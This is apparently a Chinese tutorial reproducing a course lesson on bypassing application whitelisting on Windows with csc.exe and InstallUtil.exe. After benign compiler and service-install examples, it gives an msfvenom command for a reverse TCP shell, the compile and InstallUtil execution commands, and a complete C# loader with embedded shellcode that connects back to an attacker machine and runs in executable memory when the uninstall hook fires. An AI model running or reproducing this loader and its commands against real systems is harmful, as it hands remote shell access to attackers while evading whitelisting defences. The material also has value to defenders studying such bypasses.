复现亮神课程 基于白名单执行payload--csc
0x01 Csc.exe
C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便,你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单,打开命令提示符,并切换到存放 test.cs文件的目录中,输入下列行命令:csc /target:exe test.cs 将Ttest.cs编译成名为test.exe的console应用程序
说明:Csc.exe所在路径没有被系统添加PATH环境变量中,因此,csc命令无法识别。基于白名单Csc.exe配置payload:
Windows 7 默认位置:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
0x02 csc.exe&&InstallUtil.exe使用
Csc参数实例:
编译 File.cs 以产生 File.exe: csc File.cs 编译 File.cs 以产生 File.dll: csc /target:library File.cs 编译 File.cs 并创建 My.exe: csc /out:My.exe File.cs 通过使用优化和定义 DEBUG 符号,编译当前目录中所有的 C# 文件。输出为 File2.exe: csc /define:DEBUG /optimize /out:File2.exe *.cs 编译当前目录中所有的 C# 文件,以产生 File2.dll 的调试版本。不显示任何徽标和警告: csc /target:library /out:File2.dll /warn:0 /nologo /debug *.cs 将当前目录中所有的 C# 文件编译为 Something.xyz(一个 DLL): csc /target:library /out:Something.xyz *.cs
InstallUtil.exe的使用:
安装一个Windows服务的命令:
InstallUtil.exe E:\PGSApp\PGS.DeadQRecover.Service.Installer\PGS.DeadQRecover.Service.exe
卸载一个Windows服务的命令:
InstallUtil.exe -u E:\PGSApp\PGS.DeadQRecover.Service.Installer\PGS.DeadQRecover.Service.exe
0x03 攻击复现
攻击机: Kali
靶机: Windows 7
配置msf:
配置payload:
msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.190.141 lport=4444 -f csharp
靶机执行:
C:\Users\Administrator\Desktop\Csc>C:\Windows\Microsoft.NET\Framework64\v4.0.303 19\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target :library /out:hacker.exe /platform:x64 /unsafe C:\Users\Administrator\Desktop\Cs c\test.cs
C:\Users\Administrator\Desktop\Csc>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Administrator\Desktop\Csc\hacker.exe
Test.cs:
using System; using System.Net; using System.Diagnostics; using System.Reflection; using System.Configuration.Install; using System.Runtime.InteropServices; // msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp public class Program { public static void Main() { } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { Shellcode.Exec(); } } public class Shellcode { public static void Exec() { byte[] shellcode = new byte[510] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0xbe,0x8d,0x41,0x54,0x49,0x89,0xe4, 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41, 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41, 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31, 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8, 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40, 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c, 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41, 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName ); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName ); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName ); [DllImport("kernel32")] private static extern UInt32 GetLastError(); }